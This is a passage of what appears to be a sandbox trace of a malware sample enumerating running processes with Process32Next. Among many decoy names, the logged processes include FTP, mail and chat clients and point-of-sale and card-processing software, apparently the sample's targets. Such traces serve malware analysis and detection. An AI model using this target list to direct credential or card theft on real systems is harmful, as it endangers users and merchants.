dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0291.615] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0291.617] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0291.620] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0291.622] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0291.624] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0291.626] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0291.677] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0291.679] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0291.681] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0291.682] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0291.684] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0291.685] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0291.687] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0291.688] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0291.690] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0291.693] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0291.694] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0291.696] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0291.697] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0291.699] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0291.701] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0291.702] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0291.704] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0291.705] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0291.836] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0291.839] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0291.841] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0291.842] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0291.844] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0291.846] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0291.899] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0291.901] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0291.903] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0291.905] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0291.907] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0291.909] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0291.911] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0291.913] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0291.915] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0291.917] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0291.919] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0291.921] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0291.924] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0291.951] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0291.953] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0291.955] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0292.006] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0292.008] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0292.010] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0292.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0292.014] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0292.017] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0292.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0292.020] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0292.022] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0292.024] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0292.026] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0292.027] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0292.029] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0292.031] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0292.034] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0292.036] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0292.037] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0292.039] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0292.041] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0292.042] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0292.044] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0292.046] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0292.047] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0292.084] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0292.086] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0292.088] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0292.091] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0292.093] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0292.095] CloseHandle (hObject=0x344) returned 1 [0292.095] Sleep (dwMilliseconds=0x64) [0292.147] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0292.164] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.166] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0292.168] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0292.207] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.209] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0292.211] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.212] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0292.214] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0292.215] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0292.217] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.218] Process32Next (in: hSnapshot=0x344, 